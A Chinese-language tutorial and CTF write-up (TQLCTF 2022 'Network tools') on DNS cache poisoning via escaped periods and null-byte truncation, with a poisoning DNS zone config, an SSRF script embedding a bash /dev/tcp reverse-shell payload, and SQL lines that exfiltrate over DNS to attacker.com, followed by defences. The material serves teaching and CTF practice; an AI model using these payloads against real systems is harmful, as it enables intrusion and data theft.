从一道题开始学习DNS缓存攻击
字数 1668 2025-08-29 08:31:47
DNS缓存攻击与DNS隧道技术详解
一、DNS基础与解析机制
1.1 DNS基本概念
DNS(域名系统)是因特网中的核心服务,用于实现域名和IP地址相互映射的分布式数据库。通过主机名获取对应IP地址的过程称为域名解析。
1.2 DNS解析流程
- 用户端向DNS服务器发送查询请求
- 请求经过网络节点设备(路由器、交换机、网关等)
- DNS服务器返回解析结果
- 用户端接收第一个到达的响应作为最终结果
重要原则:DNS解析机制"只认第一",即优先采用最先到达的响应。
二、DNS缓存攻击原理
2.1 攻击原理概述
攻击者在DNS资源记录中插入控制字符或特殊字符,影响DNS解析结果,实现:
- DNS缓存污染
- SQL注入
- XSS攻击等
2.2 攻击场景模拟
假设:
- A:用户端
- B:DNS服务器
- C:中间网络节点
攻击过程:
- A向B发送DNS查询请求
- C截获请求并分析特征(DNS端口、特定域名、记录类型)
- C抢先返回伪造的解析结果
- A接收C的响应作为最终结果
三、DNS缓存投毒技术
3.1 句点注入(\.)
原理:\\.在解码时被当作.字符
示例记录:
www\\.example.com. A 1.1.1.1
存入缓存后实际将www.example.com解析为1.1.1.1
利用方式:
- 攻击者拥有特殊域名
www\\.example.com - 使用CNAME记录重定向
示例:
inject.attacker.com. CNAME www\\.example.com.
www\\.example.com. A 1.1.1.1
3.2 零字节截断(\000)
原理:\\000是C语言字符串结束符,会导致字符串截断
示例记录:
inject.attacker.com. CNAME www.example.com\\000.attacker.com
www.example.com\\000.attacker.com A 1.1.1.1
解码后缓存www.example.com到1.1.1.1的映射
四、DNS隧道与SSRF攻击实践
4.1 例题分析 - [TQLCTF 2022]Network tools
漏洞点:
- FTP SSRF(
ftpcheck路由) - 本地访问限制的shell(
shellcheck路由)
攻击思路:
- 污染
token.ftp.testsweb.xyz的DNS缓存 - 将其指向攻击者服务器IP
- 实现FTP SSRF访问预留webshell
4.2 攻击实施步骤
- DNS服务器配置(使用Twisted框架):
zone = [
SOA(
'a.testsweb.xyz',
mname="b.testsweb.xyz.",
rname="admin.a.testsweb.xyz",
serial=0,
refresh="1H",
retry="30M",
expire="1M",
minimum="30"
),
NS('a.testsweb.xyz', 'b.testsweb.xyz'),
CNAME('ftp.a.testsweb.xyz', 'token.ftp.testsweb.xyz\\000.a.testsweb.xyz'),
A('token.ftp.testsweb.xyz\\000.a.testsweb.xyz', 'X.X.X.X'),
]
- 启动DNS服务器:
sudo service systemd-resolved stop
sudo twisted -n dns --pyzone a.testweb.xyz
-
触发DNS查询:
查询ftp.a.testweb.xyz使token.ftp.testweb.xyz缓存被污染 -
FTP重定向攻击:
# FTP重定向脚本示例
import socket
from urllib.parse import unquote
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
五、数据库系统中的DNS注入
5.1 Microsoft SQL Server注入
利用扩展存储程序:
master..xp_dirtree- 获取文件夹列表EXEC master..xp_dirtree '\\attacker.com\share';master..xp_fileexist- 检查文件存在EXEC master..xp_fileexist '\\attacker.com\file';master..xp_subdirs- 获取子文件夹
5.2 Oracle注入技术
可利用函数:
UTL_INADDR.GET_HOST_ADDRESSSELECT UTL_INADDR.GET_HOST_ADDRESS('attacker.com');UTL_HTTP.REQUESTSELECT UTL_HTTP.REQUEST('http://attacker.com') FROM DUAL;HTTPURITYPE.GETCLOBDBMS_LDAP.INIT
5.3 MySQL注入技术
利用函数:
SELECT LOAD_FILE('\\\\attacker.com\\file');
六、防御措施
6.1 DNS缓存投毒防御
-
输入验证:
- 对DNS解析结果进行严格过滤
- 处理特殊字符(
\\.和\\000)
-
协议增强:
- 使用DNSSEC(DNS安全扩展)
- 实施随机源端口和事务ID
-
配置加固:
- 限制递归查询
- 禁用不必要的DNS功能
6.2 数据库注入防御
-
权限控制:
- 限制数据库用户权限
- 禁用危险存储过程和函数
-
输入过滤:
- 对所有用户输入进行严格验证
- 使用参数化查询
-
网络控制:
- 限制数据库外联能力
- 监控异常DNS请求
七、工具与资源
7.1 常用工具
- SQLMap:支持DNS渗出技术(需
--dns-domain参数) - Twisted:Python网络引擎框架,可用于搭建DNS服务器
- dnscat2:DNS隧道工具
7.2 参考资源
- RFC 1034 - DNS域名标准
- Data Retrieval over DNS in SQL Injection Attacks (arxiv.org)
- OWASP DNS安全指南